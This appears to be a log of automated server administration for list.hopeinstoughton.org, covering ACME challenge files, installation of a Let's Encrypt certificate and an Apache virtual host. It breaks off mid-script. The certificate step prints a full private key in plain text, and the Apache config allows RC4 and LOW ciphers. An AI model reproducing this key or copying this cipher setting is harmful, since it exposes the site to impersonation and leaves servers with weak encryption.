MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-16 14:41:16: Establishing a connection
2026-04-16 14:41:16: Establishing a connection
2026-04-16 14:41:16: 

PUT: /tmp/pkp532896

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_list/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-16 14:41:17: 

chmod 755 /tmp/pkp532896; /tmp/pkp532896; rm /tmp/pkp532896

2026-04-16 14:41:17: 


1


2026-04-16 14:41:18: Establishing a connection
2026-04-16 14:41:18: 

PUT: /tmp/pkp863010

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cat > Reuxd3cj5UGbE7Y4gbccNd4-dedsG7GKeQrMN17R5jY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Reuxd3cj5UGbE7Y4gbccNd4-dedsG7GKeQrMN17R5jY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Reuxd3cj5UGbE7Y4gbccNd4-dedsG7GKeQrMN17R5jY
cat > DTykXVzLy8WdQsVwORpLHhjACyeCOUzo0OXJdzsj9vE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
DTykXVzLy8WdQsVwORpLHhjACyeCOUzo0OXJdzsj9vE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 DTykXVzLy8WdQsVwORpLHhjACyeCOUzo0OXJdzsj9vE


2026-04-16 14:41:18: 

chmod 755 /tmp/pkp863010; /tmp/pkp863010; rm /tmp/pkp863010

2026-04-16 14:41:18: 




2026-04-16 14:41:26: Establishing a connection
2026-04-16 14:41:26: 

PUT: /tmp/pkp886526

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
rm Reuxd3cj5UGbE7Y4gbccNd4-dedsG7GKeQrMN17R5jY
rm DTykXVzLy8WdQsVwORpLHhjACyeCOUzo0OXJdzsj9vE


2026-04-16 14:41:26: 

chmod 755 /tmp/pkp886526; /tmp/pkp886526; rm /tmp/pkp886526

2026-04-16 14:41:26: 




2026-04-16 14:41:26: Establishing a connection
2026-04-16 14:41:26: 

PUT: /tmp/pkp653023

#!/bin/bash
temp_file=$(mktemp)
TARGET=625c49c8e1729cb5d0e1dcdf03ddcd68.crt

cat > $temp_file <<'endmsg'
94:9e:fd:31:b0:b0:cc:20:4f:20:00:66:f5:6d:5e:b0

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBglhBY/T+l2IFGoLrPn4sJ3YMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDE2MTM0MjU1WhcNMjYwNzE1MTM0MjU0WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDyAid7Yp49kkXdLp03CHPWYP69iyYugE0Rx8TNCeYBWHKwrCyb
KSYzeEEw2v8veVu3XKLTxlUIMjq8mkX2B6kmTeiqaXbP2hbH1TSr/CghlTUKxd/7
lrMGaQxZL2DMNDnfKH9TRg+oMgSyxzk8gVCAGULLsEtACmk+OvCmWbjiFs3hCdO3
fgsERq4d2UTKcZhXAul7oDwJMQ089osrEImeOOTlC3elquKtakdRc5Rxq21nyGzy
QJE+GteYRakaim+RWyrCzH7ZG0w9Lo9Yicc7z9vz88JKZ9Nb7U2VYFs00s2KGsZr
brYYIVao8M/dtBd1sjj/wKXR8Bfh/wvJh0zVAgMBAAGjggI7MIICNzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUqwwDy8Nc+d2HU1YKTQeB2rmWmrQwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzA4BgNVHREEMTAvghhsaXN0LmhvcGVpbnN0b3VnaHRv
bi5vcmeCE2xpc3Quc3RvdWdodG9uLmxpbmswEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy84OS5jcmww
ggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XG
RvmXrTl1mR3PmgAAAZ2WvVy0AAAEAwBHMEUCIHq/n1lsf/e0DOH5xa8zTtycHM8U
0GfDg/3Qar63NmxwAiEAiab0uUOAw1xjFvL6LXl+AE6oTxQeKvIUNvUa+nucZrMA
fgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ2WvVziAAgAAAUA
BAqzuAQDAEcwRQIhAIOnYGbt48FU2k0IgcBkbcaBrSa+Nx80qwqh7Vgm7mToAiA9
8xIcMIaiYK0YwHt1NBaMR+DY6jnwjSQX0WP4vj4F4TANBgkqhkiG9w0BAQsFAAOC
AQEAXZSKw//2rHQ/MTc5Vx3GR6hAchRtfpbF044f3Tyi22svm4WibgS31hnR7Afn
nZ0+H3IEStba9bXWQFjPmFifG/rw6iztRl8VKf1DgaZQ2v3+ITNwfjGkDJtjATGz
ATwuDpV0YwyCXNBecG8OGT58vPcCNT4pvxXAfndjAjh1ae7y1iYaPGqERhRJ58VT
6MZTS2qR+MK2GVonN0CDhdtCm8PZiAIGhTd6ZnCpTG8x1VryUeQJcGoCJQhpiP94
ppcF0olljWoJ54Cvdypy0CwvD9W3jJnOac6zwIMNaZV7k/2DkfH9A/ibKgw/1UkT
BRo+Mbzmm7kS+XuiaOCEapZqqw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDyAid7Yp49kkXd
Lp03CHPWYP69iyYugE0Rx8TNCeYBWHKwrCybKSYzeEEw2v8veVu3XKLTxlUIMjq8
mkX2B6kmTeiqaXbP2hbH1TSr/CghlTUKxd/7lrMGaQxZL2DMNDnfKH9TRg+oMgSy
xzk8gVCAGULLsEtACmk+OvCmWbjiFs3hCdO3fgsERq4d2UTKcZhXAul7oDwJMQ08
9osrEImeOOTlC3elquKtakdRc5Rxq21nyGzyQJE+GteYRakaim+RWyrCzH7ZG0w9
Lo9Yicc7z9vz88JKZ9Nb7U2VYFs00s2KGsZrbrYYIVao8M/dtBd1sjj/wKXR8Bfh
/wvJh0zVAgMBAAECggEAZSu0YLb+CyRqs4gIrliIwI7k/807pYX6chvu8H6aWmak
76nSrfzaXPsBWdC7jJex2WpPIbRQmPASsQTXiX5zXrGEOjWDt2nnSxwc/GcaScvM
FFhbhhxedCgXQvN1Bnkw1lNiQyhPZFOgtjJmAZ7Xze2BiJCHLNsNWzgdoZVxnoX0
5aF2jcYq9Qgmi2RihsmQbBBfOuHN097GhrKXphGQITJfMTh/VZfj5SONx2wa9a2A
QJgT0DXfBDs5JW3op2tZXf/oJwrFklwjND0GV3Fj1RCm4G4F4zqmVJczjU5yK6ph
tQHSqLJLcUowy57WNMnv1YS1ws5meUWMRoKkZjLOkwKBgQD7Pyi8xhIQbIl5iPHW
zt3Ftdih9zCpHbyya+UmzwaQrpbU2uygJ5s8eaHaC3FhVYWOFsQsPJ9puvuTWHS/
sCGWcXUgsMPtS0WLDuCV4XS+v1B+JGSb0xgSJX4PHRjVnX+Gkh9AcTM659Ob3tVv
BOvo1mco8zwcoOL13vuUjJF7jwKBgQD2lkCG1F/IbGHeLZRi5QGgOPt92sEvt+mZ
OZaAk5+67pwhW40LHeHQEBD25nfWBL3mBka1JDCQC9vZ85G1b+KT+fIZ1YhFVZ/r
RY846SHBymhCbXtPZj/Lde5L7zHc4+q6tBgQE2L404M6OnA0OnnYop+4fKSqwg4A
W+5YPb0PWwKBgQDBzJ4nvsEAWjhQvwmMoFUAxJwtkva9/GopVoCTxu1RfNprpdMQ
Vnyv0UK/ZkQ2yDkUuQro9HoinFCh/4FOuxWtbibi6Ha4+27RLNCfzCC5Yek84+WX
LOVMWg86qT8Wxz4vF1dz5d2WemwHt4L699jg6UD5nWWoz5FCBpYYp7UwkQKBgEkx
bjPXRBscuKwXQW1dZm8lmtjPnvpID+mwY1EFAKue+e8Y2rPLCeUVb8OpwzZer/Ng
N4q7FEMdkgOOvdhqPooH7ennLQzPjqlqO0n8QU3hg7L8BlcaFaOR/MrDVDyp1lnW
7TGQX5dWSSR2himqldJM6zX6oXIiKb/HiebdZInzAoGAQQKnDwozZRGaYV+p4Z/Y
cGJ0+ko+bhCIBXrMeCe2t9EPI0lTiXkHm+6blHMKAHlDHtRCcyIJo5UsgGruU9NQ
onXehtga/b5v61u9LzLGC6FMDpqu6lpfOx+fMf39JwFuT/voU4TWsZFz9ynCoN4P
DehbqCuPlSnUIbrS3YMY2iA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-16 14:41:26: 

chmod 755 /tmp/pkp653023; /tmp/pkp653023; rm /tmp/pkp653023

2026-04-16 14:41:26: 


dir=/etc/ssl/certs


2026-04-16 14:41:26: 

PUT: /tmp/pkp406702

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-16 14:41:26: 

chmod 755 /tmp/pkp406702; /tmp/pkp406702; rm /tmp/pkp406702

2026-04-16 14:41:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf 58

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-16 14:41:26: 

PUT: /tmp/pkp419705

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_list_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf'
